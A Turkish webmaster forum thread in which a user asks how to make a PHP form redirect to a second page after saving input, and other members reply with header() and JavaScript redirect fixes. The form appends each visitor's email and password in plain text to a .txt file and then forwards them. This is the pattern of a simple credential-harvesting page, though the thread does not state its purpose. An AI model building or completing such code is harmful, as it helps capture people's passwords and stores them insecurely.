lostyazilim
tr.link

Php ile Yönlendirme - Yardım

7 Mesajlar 1.224 Okunma
lstbozum
tr.link

Servous Servous WM Aracı Kullanıcı
  • Üyelik 05.05.2020
  • Yaş/Cinsiyet 50 / E
  • Meslek Kamu Görevlisi
  • Konum İstanbul Avrupa
  • Ad Soyad M** U**
  • Mesajlar 4
  • Beğeniler 1 / 0
  • Ticaret 0, (%0)
Merhaba dostlar, sorum şu php ile bir form oluşturdum form doldurulduktan sonra bilgiler txt olarak kaydediliyor buraya kadar bir problem yok sonrasında ikincisayfa.html sayfasına yönlendirmek istiyorum yardımcı olabilirmisiniz?

Php ile kayit edilme.

if (isset($_POST["email"]) && isset($_POST["sifre"]))
{
$dosya = fopen("bilgiler.txt","a");
$top = "Email : {$_POST['email']} / Sifre : {$_POST["sifre"]}";
fwrite($dosya,$top);

fwrite($dosya,"\r\n");
fclose($dosya);
echo die("Kayit Yapildi");


}
?>


HTML kısmında action'a ikincisayfa.html yazdığımda oluyor fakat bu seferde bilgiler.txt'ye veri kaydedilmiyor, direk yönlendirme yapıyor.



Butonum



 

 

wmaraci
reklam

OmerGunay OmerGunay https://omergunay.net Kullanıcı
  • Üyelik 15.05.2015
  • Yaş/Cinsiyet 33 / E
  • Meslek PHP Developer
  • Konum İstanbul Avrupa
  • Ad Soyad Ö** G**
  • Mesajlar 1207
  • Beğeniler 382 / 381
  • Ticaret 16, (%100)
Servous

header fonksiyonu ile yapabilirsin.

Örneğin ;

header("Location: ikincisayfa.html");
Servous

kişi bu mesajı beğendi.

Herkes yediğinden ikram eder..(Yavuz Sultan Selim)

Servous Servous WM Aracı Kullanıcı
  • Üyelik 05.05.2020
  • Yaş/Cinsiyet 50 / E
  • Meslek Kamu Görevlisi
  • Konum İstanbul Avrupa
  • Ad Soyad M** U**
  • Mesajlar 4
  • Beğeniler 1 / 0
  • Ticaret 0, (%0)

ÖmerGünay adlı üyeden alıntı

Servous

header fonksiyonu ile yapabilirsin.

Örneğin ;

header("Location: ikincisayfa.html");



Dediğiniz şekilde yaptım fakat maalesef olmadı hocam.

if (isset($_POST["email"]) && isset($_POST["sifre"]))
{
$dosya = fopen("veriler.txt","a");
$top = "Email : {$_POST['email']} / Sifre : {$_POST["sifre"]}";
fwrite($dosya,$top);
header("Location: ikincisayfa.html");

fwrite($dosya,"\r\n");
fclose($dosya);
die("Kayit Yapildi");


}
?>
 

 

OmerGunay OmerGunay https://omergunay.net Kullanıcı
  • Üyelik 15.05.2015
  • Yaş/Cinsiyet 33 / E
  • Meslek PHP Developer
  • Konum İstanbul Avrupa
  • Ad Soyad Ö** G**
  • Mesajlar 1207
  • Beğeniler 382 / 381
  • Ticaret 16, (%100)
en başa ob_start(); ekler miisn ondan olabilir belki.
 

 

Herkes yediğinden ikram eder..(Yavuz Sultan Selim)
wmaraci
wmaraci

Servous Servous WM Aracı Kullanıcı
  • Üyelik 05.05.2020
  • Yaş/Cinsiyet 50 / E
  • Meslek Kamu Görevlisi
  • Konum İstanbul Avrupa
  • Ad Soyad M** U**
  • Mesajlar 4
  • Beğeniler 1 / 0
  • Ticaret 0, (%0)
Sonuç aynı maalesef, yönlendirme işlemi yapmıyor.
 

 

OmerGunay OmerGunay https://omergunay.net Kullanıcı
  • Üyelik 15.05.2015
  • Yaş/Cinsiyet 33 / E
  • Meslek PHP Developer
  • Konum İstanbul Avrupa
  • Ad Soyad Ö** G**
  • Mesajlar 1207
  • Beğeniler 382 / 381
  • Ticaret 16, (%100)
Servous eğer bağlantı verirsen uzaktan bağlanıp bakabilirim.
 

 

Herkes yediğinden ikram eder..(Yavuz Sultan Selim)

awoken awoken WM Aracı Kullanıcı
  • Üyelik 06.06.2019
  • Yaş/Cinsiyet 19 / E
  • Meslek Öğrenci
  • Konum Diğer
  • Ad Soyad B** G**
  • Mesajlar 1002
  • Beğeniler 250 / 478
  • Ticaret 41, (%100)

if (isset($_POST["email"]) && isset($_POST["sifre"]))
{
$dosya = fopen("veriler.txt","a");
$top = "Email : {$_POST['email']} / Sifre : {$_POST["sifre"]}";
fwrite($dosya,$top);
fwrite($dosya,"\r\n");
fclose($dosya);
die("Kayit Yapildi!<script>setTimeout(function() {window.location.href='./ikincisayfa.html'}, 500);</script>");
}
?>


Böyle yaparsanız yazı çıktıktan 0.5 sn sonra ikincisayfa.html dosyasına yönlenecektir. Eğer hemen yönlenmesini isterseniz:
die("Kayit Yapildi!<script>setTimeout(function() {window.location.href='./ikincisayfa.html'}, 500);</script>"); satırını şununla değiştirin:

header("Location: ./ikincisayfa.html");
 

 

wmaraci
wmaraci
Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)
Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al